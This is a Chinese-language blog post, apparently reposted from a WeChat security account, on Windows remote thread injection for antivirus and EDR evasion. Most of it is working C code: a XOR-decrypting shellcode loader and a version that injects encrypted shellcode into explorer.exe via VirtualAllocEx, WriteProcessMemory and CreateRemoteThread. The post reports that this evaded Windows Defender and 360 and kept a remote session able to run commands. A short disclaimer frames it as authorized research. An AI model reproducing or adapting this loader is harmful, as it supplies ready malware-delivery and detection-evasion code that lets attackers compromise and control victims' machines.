📌 免责声明:本系列文章仅供网络安全研究人员在合法授权下学习与研究使用,严禁用于任何非法目的。违者后果自负。
远程线程注入(Remote Thread Injection)是一种常见的进程注入技术,经常用于红队渗透、恶意软件加载、持久化控制等场景中,尤其在免杀(AV/EDR bypass)应用领域中,是一种历史悠久但依然有效的手段。
简单来说,就是:将恶意代码注入到目标进程的内存空间中,并在该进程内启动一个新的线程来执行这段代码。
这个过程涉及两个核心点:
1、代码注入:把你的payload(比如shellcode)写进别的进程的内存中;
2、线程创建:让目标进程自己启动线程执行这段payload。
1、打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
2、在目标进程内申请内存
LPVOID remoteAddr = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
3、写入Shellcode或Payload
WriteProcessMemory(hProcess, remoteAddr, shellcode, shellcodeSize, NULL);
4、 创建远程线程执行Payload
CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteAddr, NULL, 0, NULL);
1、代码不在自身进程中执行,容易绕过行为分析;
2、注入到可信进程中(如 explorer.exe、svchost.exe),有助于混淆监控;
3、可结合过程混淆(obfuscation)、API动态解析、加密Shellcode等技术进一步绕过EDR。
1、单纯XOR加密加载器
...
// 使用字符串 "kun" 作为 XOR key
unsigned char xor_key[] = { 'k', 'u', 'n' };
const size_t key_len = sizeof(xor_key);
// XOR混淆的 shellcode(请用你的真实 shellcode 替换)
unsigned char encoded_shellcode[] = "x97x3dxedx8f..." /* shellcode 省略,原样复制 */;
size_t shellcode_len = sizeof(encoded_shellcode);
intmain(){
// 申请 RWX 内存
LPVOID exec_mem = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec_mem) {
printf("VirtualAlloc failed.n");
return -1;
}
// 复制加密的 shellcode 到可执行内存
memcpy(exec_mem, encoded_shellcode, shellcode_len);
// 在已加载的内存中解密 shellcode
for (size_t i = 0; i < shellcode_len; ++i) {
((unsigned char*)exec_mem)[i] ^= xor_key[i % key_len];
}
// 创建线程执行 shellcode
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
if (!hThread) {
printf("CreateThread failed.n");
VirtualFree(exec_mem, 0, MEM_RELEASE);
return -1;
}
...
2、改成远程线程注入
...
// 已XOR加密的shellcode
unsigned char shellcode[] = "x97x3dxedx8f...";
SIZE_T shellcodeSize = sizeof(shellcode);
// 通过进程名称查找PID(Unicode版本)
DWORD findPidByName(const wchar_t* procName) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32W pe = { 0 };
pe.dwSize = sizeof(pe);
if (Process32FirstW(hSnap, &pe)) {
do {
if (_wcsicmp(pe.szExeFile, procName) == 0) {
CloseHandle(hSnap);
return pe.th32ProcessID;
}
} while (Process32NextW(hSnap, &pe));
}
CloseHandle(hSnap);
return 0;
}
int main() {
// 1. 找到已运行的目标进程PID
DWORD pid = findPidByName(L"explorer.exe");
if (!pid) {
wprintf(L"[-] 无法找到目标进程: notepad.exen");
return -1;
}
// 2. 打开目标进程
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ,
FALSE, pid);
if (!hProcess) {
wprintf(L"[-] OpenProcess 失败 (%u)n", GetLastError());
return -1;
}
// 3. 分配远程内存
LPVOID remoteAddr = VirtualAllocEx(
hProcess, NULL,
shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (!remoteAddr) {
wprintf(L"[-] VirtualAllocEx 失败 (%u)n", GetLastError());
CloseHandle(hProcess);
return -1;
}
// 4. 写入已加密shellcode
if (!WriteProcessMemory(
hProcess, remoteAddr,
shellcode, shellcodeSize, NULL))
{
wprintf(L"[-] WriteProcessMemory 失败 (%u)n", GetLastError());
CloseHandle(hProcess);
return -1;
}
// 5. 远程内存XOR解密 (Key = "kun")
unsigned char xorKey[] = "kun";
SIZE_T keyLen = sizeof(xorKey) - 1;
for (SIZE_T i = 0; i < shellcodeSize; ++i) {
BYTE b;
ReadProcessMemory(hProcess,
(LPCVOID)((BYTE*)remoteAddr + i),
&b, 1, NULL);
b ^= xorKey[i % keyLen];
WriteProcessMemory(hProcess,
(LPVOID)((BYTE*)remoteAddr + i),
&b, 1, NULL);
}
wprintf(L"[+] Shellcode 已写入并解密n");
// 6. 创建远程线程执行Shellcode
HANDLE hThread = CreateRemoteThread(
hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteAddr,
NULL, 0, NULL);
if (!hThread) {
wprintf(L"[-] CreateRemoteThread 失败 (%u)n", GetLastError());
}
else {
wprintf(L"[+] 远程线程已创建 (TID: %u)n", GetThreadId(hThread));
CloseHandle(hThread);
}
...
3、编译出来,拉到DF检测,结果如图
4、运行测试,成功上线且能执行命令,绕过DF!
5、手贱一下,多做一步。这里也放到360上看看:执行上线后,原程序被杀,但是目标已经借助其他程序上线,后续不影响执行命令
远程线程注入是经典但逐渐显老的手段,在红队演练与安全研究中仍然可以用,但需要叠加混淆/绕过技巧才能在免杀中长期站得住脚。
#远程线程注入 #RemoteThread #进程注入 #红队演练 #行为绕过
原文始发于微信公众号(仇辉攻防):远程线程注入:让别的程序替你“干活”
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论